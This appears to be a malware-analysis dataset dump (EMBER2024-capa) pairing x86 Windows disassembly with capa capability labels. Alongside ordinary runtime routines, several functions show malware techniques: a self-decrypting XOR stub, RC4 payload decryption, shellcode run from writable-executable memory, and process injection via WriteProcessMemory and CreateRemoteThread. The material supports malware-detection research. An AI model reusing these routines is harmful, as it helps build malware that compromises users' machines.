joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40127e
Capabilities:
Get common file path

Disassembly:
push ebx
push ecx
push ebp
push esi
push edi
push dword [esp + 0x1c]
pop dword [0x4050a4]
mov esi, esp
sub esp, 0xc
mov eax, esp
mov edx, eax
add edx, 0xc
mov dword [eax], 0
add eax, 4
cmp eax, edx
jne 0x401299
mov eax, dword [esi + 0x18]
mov dword [esp], eax
mov dword [esp + 4], 0
push dword [0x4050a4]
mov eax, 0x10e
call fcn.00403f4b
lea ecx, [esp + 0xc]
pop edx
call fcn.0040409c
lea eax, [esp + 4]
push eax
push dword [esp + 4]
push 0
call sub.SHELL32.DLL_SHGetSpecialFolderLocation
mov eax, dword [esp + 8]
push eax
push dword [esp + 8]
call sub.SHELL32.DLL_SHGetPathFromIDListA
push dword [0x4050a4]
mov eax, dword [esp + 0xc]
call fcn.00403eb5
pop eax
jmp 0x401309
mov edx, dword [esp + 8]
call fcn.004040e8
add esp, 0xc
pop edi
pop esi
pop ebp
pop ecx
pop ebx
ret 4

Function at 0x4042c0
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push ebx
push ecx
push ebp
push esi
push edi
push dword [esp + 0x20]
pop dword [0x4050a4]
mov esi, esp
sub esp, 0x24
mov eax, esp
mov edx, eax
add edx, 0x24
mov dword [eax], 0
add eax, 4
cmp eax, edx
jne 0x4042db
mov edx, dword [esi + 0x18]
lea ecx, [esp]
call fcn.0040405d
mov eax, dword [esi + 0x1c]
mov byte [esp + 4], al
mov byte [esp + 5], 1
mov dword [esp + 6], 0x80000000
mov dword [esp + 0xa], 0
mov dword [esp + 0xe], 0
mov dword [esp + 0x12], 0
push dword [0x4050a4]
mov eax, 0x800
call fcn.00403f4b
lea ecx, [esp + 0x1a]
pop edx
call fcn.0040409c
mov edx, 0x4050b0
lea ecx, [esp + 0x1a]
call fcn.0040403c
push 0
push 0
push 0
movsx eax, byte [esp + 0x10]
push eax
push str.Opera_6.01
call sub.WININET.dll_InternetOpenA
mov dword [esp + 0xa], eax
push 0
push dword [esp + 0xa]
push 0
push 0
push dword [esp + 0x10]
push dword [esp + 0x1e]
call sub.WININET.dll_InternetOpenUrlA
mov dword [esp + 0xe], eax
mov eax, 1
call fcn.00407170
lea eax, [esp + 0x12]
push eax
mov eax, dword [esp + 0x1a]
call fcn.00403cf7
push eax
mov eax, dword [esp + 0x1e]
push eax
push dword [esp + 0x1a]
call sub.WININET.dll_InternetReadFile
mov ebx, dword [esp + 0x12]
cmp ebx, 0
jne 0x4043c5
mov byte [esp + 5], 0
jmp 0x4043f2
mov edx, dword [esp + 0x1a]
push dword [0x4050a4]
call fcn.00404100
push dword [0x4050a4]
push dword [esp + 0x1a]
mov eax, dword [esp + 0x22]
call fcn.00403cba
pop eax
lea ecx, [esp + 0x1e]
pop edx
call fcn.0040409c
mov ebx, dword [esp + 0x1e]
add ebx, dword [esp + 0x12]
mov dword [esp + 0x1e], ebx
movsx ebx, byte [esp + 5]
cmp ebx, 0
jne 0x40438e
push dword [esp + 0xe]
call sub.WININET.dll_InternetCloseHandle
push dword [esp + 0xa]
call sub.WININET.dll_InternetCloseHandle
mov edx, dword [esp + 0x1a]
push dword [0x4050a4]
call fcn.00404100
pop eax
jmp 0x404434
mov edx, dword [esp + 0x16]
call fcn.004040e8
mov edx, dword [esp + 0x1a]
call fcn.004040e8
mov edx, dword [esp]
call fcn.004040e8
add esp, 0x24
pop edi
pop esi
pop ebp
pop ecx
pop ebx
ret 8
Function at 0x404460
Capabilities:
Get common file path

Disassembly:
push ebx
push ecx
push ebp
push esi
push edi
push dword [esp + 0x18]
pop dword [0x4050a4]
mov esi, esp
sub esp, 4
mov eax, esp
mov edx, eax
add edx, 4
mov dword [eax], 0
add eax, 4
cmp eax, edx
jne 0x40447b
push dword [0x4050a4]
mov eax, 0x1f4
call fcn.00403f4b
lea ecx, [esp + 4]
pop edx
call fcn.0040409c
mov eax, dword [esp]
push eax
push 0x226
call sub.KERNEL32.DLL_GetCurrentDirectoryA
mov edx, dword [esp]
push dword [0x4050a4]
call fcn.00404100
pop eax
jmp 0x4044c9
mov edx, dword [esp]
call fcn.004040e8
add esp, 4
pop edi
pop esi
pop ebp
pop ecx
pop ebx
ret

Function at 0x4045ae
Capabilities:
Enumerate gui resources

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
cmp dword [ebp + 8], 0
je 0x4045c8
push dword [ebp + 8]
push 0x404540
call sub.USER32.dll_EnumWindows
jmp 0x4045ff
mov edi, dword [0x4050c0]
jmp 0x4045fb
mov esi, dword [edi]
call sub.KERNEL32.DLL_GetCurrentThreadId
cmp dword [edi + 8], eax
jne 0x4045f9
push 1
push dword [edi + 0xc]
call sub.USER32.dll_EnableWindow
mov eax, edi
add eax, 8
push eax
push 0x4050c0
call fcn.004047e0
add esp, 8
mov edi, esi
or edi, edi
jne 0x4045d0
pop edi
pop esi
pop ebp
ret 4

Function at 0x404640
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x244
push ebx
push esi
push edi
mov esi, dword [ebp + 8]
xor ebx, ebx
or esi, esi
je 0x404718
mov dword [ebp - 0x40], esi
push esi
call sub.CRTDLL.dll_strlen
pop ecx
lea edi, [eax + esi - 1]
jmp 0x40466a
dec edi
cmp edi, esi
jbe 0x404673
cmp byte [edi], 0x5c
jne 0x404669
cmp edi, esi
jbe 0x4046a9
mov byte [edi], 0
push esi
lea eax, [ebp - 0x240]
push eax
call sub.CRTDLL.dll_strcpy
push 0x4050d6
lea eax, [ebp - 0x240]
push eax
call sub.CRTDLL.dll_strcat
add esp, 0x10
lea eax, [ebp - 0x240]
mov dword [ebp - 0x40], eax
mov byte [edi], 0x5c
jmp 0x4046ad
and dword [ebp - 0x40], 0
mov eax, dword [ebp + 0x10]
or eax, eax
je 0x4046bc
cmp byte [eax], 0
je 0x4046bc
mov dword [ebp - 0x40], eax
xor edi, edi
inc edi
test byte [ebp + 0x14], 2
je 0x4046c7
xor edi, edi
mov dword [ebp - 0x3c], 0x3c
mov dword [ebp - 0x38], 0x40
mov dword [ebp - 0x20], edi
lea eax, str.Open
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x2c], esi
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x3c]
push eax
call sub.SHELL32.DLL_ShellExecuteExA
mov ebx, eax
or eax, eax
je 0x404718
cmp dword [ebp - 4], 0
je 0x404718
test byte [ebp + 0x14], 1
je 0x404715
push 0xffffffffffffffff
push dword [ebp - 4]
call sub.KERNEL32.DLL_WaitForSingleObject
mov ebx, dword [ebp - 4]
mov eax, ebx
pop edi
pop esi
pop ebx
leave
ret 0x10

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x417b9d
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.00406a60
mov eax, dword [0x42e040]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.00413de5
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x417bdf
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x417d3b
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.00421c40
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1018], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x47da00]
push dword [edi + eax + 0x24]
push dword [edi + eax + 0x20]
push ebx
call fcn.00417fc3
mov ecx, dword [esi*4 + 0x47da00]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x101c], eax
cmp edx, dword [edi + ecx + 0x20]
jne 0x417d34
cmp eax, dword [edi + ecx + 0x24]
jne 0x417d34
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [edi + ecx + 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x417d34
push dword [ebp - 0x100c]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.00417fc3
add esp, 0x14
test edx, edx
jl 0x417d34
jg 0x417caa
test eax, eax
jb 0x417d34
mov ebx, dword [ebp - 0x1018]
mov eax, dword [ebp - 0x1014]
test ebx, ebx
jg 0x417d34
jl 0x417cc4
cmp dword [ebp - 0x1008], eax
ja 0x417d34
lea edi, [ebp - 0x1004]
xor edx, edx
add edi, eax
lea ecx, [ebp - 0x1004]
xor esi, esi
cmp dword [ebp - 0x1008], edx
jne 0x417ce2
test ebx, ebx
je 0x417d1b
cmp ecx, edi
jae 0x417d1b
mov al, byte [ecx]
cmp al, 0xd
jne 0x417cfc
lea eax, [edi - 1]
cmp ecx, eax
jae 0x417d08
cmp byte [ecx + 1], 0xa
jne 0x417d08
inc ecx
jmp 0x417d08
movzx eax, al
movsx eax, byte [eax + 0x42e9b0]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x417ce2
cmp edx, ebx
jne 0x417ce2
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x101c]
jmp 0x417d39
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.00405cbb
leave
ret
Function at 0x41e995
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x47da00]
mov dword [ebp - 0x10], ecx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x41e9d5
cmp byte [ebx], 0xa
jne 0x41e9d5
or byte [eax + edi + 0x28], 4
jmp 0x41e9da
and byte [eax + edi + 0x28], 0xfb
add ecx, ebx
mov edx, ebx
mov dword [ebp - 0xc], ecx
mov esi, ebx
cmp ebx, ecx
jae 0x41ead8
mov al, byte [edx]
cmp al, 0x1a
je 0x41eaba
lea ecx, [edx + 1]
mov dword [ebp - 8], ecx
mov ecx, dword [ebp - 0xc]
cmp al, 0xd
je 0x41ea09
mov edx, dword [ebp - 8]
mov byte [esi], al
jmp 0x41ea2e
mov eax, dword [ebp - 8]
cmp eax, ecx
jae 0x41ea38
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add edx, eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov ecx, dword [ebp - 0xc]
inc esi
cmp edx, ecx
jb 0x41e9eb
jmp 0x41ead8
push 0
lea eax, [ebp - 0xc]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x41eab5
cmp dword [ebp - 0xc], 0
je 0x41eab5
mov ecx, dword [ebp - 0x10]
mov eax, dword [ecx*4 + 0x47da00]
test byte [eax + edi + 0x28], 0x48
je 0x41ea8f
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x41ea7a
mov byte [esi], dl
jmp 0x41ea8b
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x47da00]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x41ead8
cmp byte [ebp - 1], 0xa
jne 0x41ea9e
cmp esi, ebx
jne 0x41ea9e
mov byte [esi], 0xa
jmp 0x41ead7
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.00417fe1
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x41ead8
mov byte [esi], 0xd
jmp 0x41ead7
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ecx*4 + 0x47da00]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x41ead4
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x41ead8
mov byte [esi], 0x1a
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x41eae1
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [ebp + 0xc]
mov ebx, eax
and eax, 0x3f
sar ebx, 6
push edi
imul edi, eax, 0x38
push 0xa
mov eax, dword [ebx*4 + 0x47da00]
pop edx
mov dword [ebp - 0x14], edx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x18], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x41eb24
cmp word [esi], dx
jne 0x41eb24
or byte [edi + eax + 0x28], 4
jmp 0x41eb29
and byte [edi + eax + 0x28], 0xfb
lea edx, [esi + ecx*2]
mov eax, esi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
cmp eax, edx
jae 0x41ec7c
mov dword [ebp - 0xc], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x10], edx
push 0x1a
pop edx
cmp cx, dx
mov edx, dword [ebp - 8]
je 0x41ec5c
add eax, 2
cmp cx, word [ebp - 0xc]
je 0x41eb6b
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x41eba1
cmp eax, edx
jae 0x41ebad
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x14]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 8]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
add esi, 2
cmp eax, edx
jb 0x41eb43
jmp 0x41ec7c
push 0
lea eax, [ebp - 0x14]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x41ec58
cmp dword [ebp - 0x14], 0
je 0x41ec58
mov eax, dword [ebx*4 + 0x47da00]
push 0xa
test byte [edi + eax + 0x28], 0x48
je 0x41ec30
mov dx, word [ebp - 4]
lea eax, [esi + 2]
pop ecx
mov dword [ebp - 0x18], eax
cmp dx, cx
jne 0x41ebf9
mov word [esi], cx
jmp 0x41ec2c
push 0xd
pop eax
mov word [esi], ax
mov eax, dword [ebx*4 + 0x47da00]
movzx ecx, dx
shr ecx, 8
push 0xa
mov byte [edi + eax + 0x2a], dl
mov eax, dword [ebx*4 + 0x47da00]
mov byte [edi + eax + 0x2b], cl
mov eax, dword [ebx*4 + 0x47da00]
pop ecx
mov byte [edi + eax + 0x2c], cl
mov eax, dword [ebp - 0x18]
mov esi, eax
jmp 0x41ec7c
pop ebx
cmp word [ebp - 4], bx
jne 0x41ec41
cmp esi, dword [ebp + 0xc]
jne 0x41ec41
mov word [esi], bx
jmp 0x41ec79
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.00417fe1
add esp, 0x10
cmp word [ebp - 4], bx
je 0x41ec7c
push 0xd
jmp 0x41ec75
mov ecx, dword [ebx*4 + 0x47da00]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x41ec73
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x41ec7c
push 0x1a
pop eax
mov word [esi], ax
add esi, 2
sub esi, dword [ebp + 0xc]
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x421a40
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x421a6d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x421a6d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x423000
Capabilities:
Encrypt data using rc4 prga

Disassembly:
sub esp, 0x214
mov eax, dword [0x42e040]
xor eax, esp
mov dword [esp + 0x20c], eax
push ebx
push ebp
push esi
push edi
xor edi, edi
mov ebp, 0x100
mov ecx, edi
xor edx, edx
mov byte [esp + ecx + 0x18], cl
push 0x23
mov eax, ecx
pop esi
div esi
mov al, byte [edx + 0x47cb70]
mov byte [esp + ecx + 0x118], al
inc ecx
cmp ecx, ebp
jl 0x423021
mov esi, edi
mov ebx, edi
mov dl, byte [esp + esi + 0x18]
movzx eax, byte [esp + esi + 0x118]
add eax, ebx
movzx ecx, dl
add ecx, eax
mov ebx, ecx
and ebx, 0x800000ff
jns 0x423069
dec ebx
or ebx, 0xffffff00
inc ebx
mov al, byte [esp + ebx + 0x18]
mov byte [esp + esi + 0x18], al
inc esi
mov byte [esp + ebx + 0x18], dl
cmp esi, ebp
jl 0x423044
mov ebp, edi
mov dword [esp + 0x14], edi
inc edi
and edi, 0x800000ff
jns 0x423091
dec edi
or edi, 0xffffff00
inc edi
mov bl, byte [esp + edi + 0x18]
movzx esi, bl
add ebp, esi
and ebp, 0x800000ff
jns 0x4230aa
dec ebp
or ebp, 0xffffff00
inc ebp
push ecx
call fcn.00401bff
push eax
call fcn.00402f5f
mov al, byte [esp + ebp + 0x1c]
mov byte [esp + edi + 0x1c], al
mov byte [esp + ebp + 0x1c], bl
movzx eax, byte [esp + edi + 0x1c]
add eax, esi
pop ecx
mov ecx, dword [esp + 0x14]
movzx eax, al
mov al, byte [esp + eax + 0x18]
xor byte [ecx + 0x42eac0], al
inc ecx
mov dword [esp + 0x14], ecx
cmp ecx, 0x4dc00
jl 0x423080
mov ecx, dword [esp + 0x21c]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00405cbb
add esp, 0x214
ret
Function at 0x4232df
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x28
mov eax, dword [0x42e040]
xor eax, esp
mov dword [esp + 0x24], eax
push esi
push edi
push str.006:107_4:_00007:277_0:_004:_04:_008:_08:_08:_8:_7:2_3:_9:193_4:_
lea ecx, [esp + 0x18]
call fcn.00401d41
push 0xc
call fcn.00405cc9
pop ecx
lea ecx, [esp + 0x14]
push ecx
mov ecx, eax
call fcn.00423101
mov edi, 0x4ac
mov esi, dword [eax + 4]
lea eax, [esp + 0xc]
push eax
push 0x40
push edi
shl esi, 2
push 0x47c6c0
sub esi, 0x40
push 0xffffffffffffffff
mov dword [esp + 0x20], esi
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
call dword [sym.imp.KERNEL32.dll_FreeConsole]
mov dword [esp + 0x10], esi
xor esi, esi
mov ecx, esi
mov al, byte [ecx + 0x47c6c0]
xor al, 0x73
sub al, 0x6c
xor al, 0x74
add al, 0x4e
xor al, 0x70
sub al, 0x65
xor al, 0x22
sub al, 0x73
xor al, 0x2a
mov byte [ecx + 0x47c6c0], al
inc ecx
cmp ecx, edi
jb 0x42334c
push ecx
push ecx
call section..bss
pop ecx
pop ecx
lea eax, [esp + 0x10]
push eax
push esi
push 0x42eac0
push 0x47c848
push esi
push esi
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
push 1
mov esi, eax
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x14]
call fcn.004025eb
mov ecx, dword [esp + 0x2c]
xor eax, eax
pop edi
pop esi
xor ecx, esp
call fcn.00405cbb
mov esp, ebp
pop ebp
ret
Function at 0x40435b
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x40437b
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.00406eb6
pop ecx
or eax, 0xffffffff
ret
test al, 1
je 0x40439c
test byte [esp + 8], 2
je 0x40439c
mov dword [0x40e070], 0xd
mov dword [0x40e074], 5
jmp 0x404377
xor eax, eax
ret

Function at 0x4067c5
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x40c7e0
cmp edx, dword [eax]
je 0x4067e7
add eax, 8
inc ecx
cmp eax, 0x40c870
jl 0x4067d8
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x40c7e0]
jne 0x406915
mov eax, dword [0x40e0cc]
cmp eax, 1
je 0x4068ef
test eax, eax
jne 0x406818
cmp dword [0x40c268], 1
je 0x4068ef
cmp edx, 0xfc
je 0x406915
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x40684f
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.004033a0
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.00403280
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x406892
lea eax, [ebp - 0x1a4]
push eax
call fcn.00403280
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x40b4e4
push edi
call fcn.00403e10
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.004033a0
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.004033b0
lea eax, [ebp - 0xa0]
push 0x40b4c4
push eax
call fcn.004033b0
push dword [esi + 0x40c7e4]
lea eax, [ebp - 0xa0]
push eax
call fcn.004033b0
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.0040928a
add esp, 0x2c
pop edi
jmp 0x406915
lea eax, [ebp + 8]
lea esi, [esi + 0x40c7e4]
push 0
push eax
push dword [esi]
call fcn.00403280
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x401390
Capabilities:
Allocate or change rwx memory
Create thread
Enumerate processes
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x254
mov eax, dword [0x4e0040]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
cmp esi, 0xffffffff
je 0x401559
lea eax, [ebp - 0x248]
mov dword [ebp - 0x248], 0x22c
push eax
push esi
xor ebx, ebx
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x401418
mov edi, dword [sym.imp.KERNEL32.dll_lstrcmpW]
nop
push 0x40530c
lea eax, [ebp - 0x224]
push eax
call edi
test eax, eax
je 0x401406
lea eax, [ebp - 0x248]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x4013e0
jmp 0x401418
push dword [ebp - 0x240]
push 0
push 0x2a
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov ebx, eax
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
je 0x401559
mov esi, dword [0x4054bc]
push 0x40
push 0x3000
mov dword [ebp - 0x250], esi
push dword [esi + 0x4054d0]
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
push 0
push dword [esi + 0x4054d4]
mov dword [ebp - 0x24c], eax
push 0x405480
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
xor eax, eax
xor edi, edi
cmp ax, word [esi + 0x405486]
jae 0x4014aa
lea esi, [esi + 0x40558c]
mov eax, dword [esi]
push 0
push dword [esi - 4]
add eax, 0x405480
push eax
mov eax, dword [esi - 8]
add eax, dword [ebp - 0x24c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0x250]
lea esi, [esi + 0x28]
inc edi
movzx eax, word [eax + 0x405486]
cmp edi, eax
jl 0x401477
push 0x20
push 0x3000
push 0x1000
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
mov eax, dword [ebp - 0x24c]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x40532c
push 0x40533c
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0xc], esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call esi
push 0
push 0x10
mov dword [ebp - 8], eax
lea eax, [ebp - 0x14]
push eax
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
mov eax, fcn.00401380
lea esi, [edi + 0x10]
sub eax, 0x401220
push eax
push 0x401220
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0xffffffffffffffff
push 0
push 0
push edi
push esi
push 0
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x8000
push 0
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00403a7f
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
mov eax, 1
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00403a7f
mov esp, ebp
pop ebp
ret